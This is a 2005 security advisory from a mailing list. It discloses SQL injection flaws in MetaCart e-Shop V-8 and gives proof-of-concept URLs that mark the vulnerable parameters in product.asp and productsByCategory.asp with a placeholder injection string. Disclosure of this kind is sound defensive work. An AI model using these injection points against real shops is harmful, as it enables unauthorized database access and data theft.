Date: 26 Apr 2005 21:44:19 -0000
From: dcrab <dcrab@hackerscenter.com.>
To: [email protected]Subject: Multiple SQL Injections in MetaCart e-Shop V-8
X-Virus-Scanned: antivirus-gw at tyumen.ru
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab's Services to audit your Web servers, scripts, networks, etc.
Learn more at http://www.digitalparadox.org/services.ah
Severity: High
Title: Multiple SQL Injections in MetaCart e-Shop V-8
Date: 27/04/2005
Vendor: MetaCart
Vendor Website: www.metalinks.com
Summary: There are, multiple sql injections in metacart e-shop v-8.
Proof of Concept Exploits:
http://example.com/eshopv-8/product.asp?intProdID='SQL_INJECTION&%3bstrCatalog_NAME=&%3bstrSubCatalog_NAME=&%3bstrSubCatalogID=&%3bintCatalogID=10001&%3bCurCatalogID=
SQL INJECTION
http://example.com/eshopv-8/productsByCategory.asp?intCatalogID=&%3bpage=2&%3bstrCatalog_NAME='SQL_INJECTION
SQL INJECTION
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact
me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my
soon to come out book on Secure coding with php.
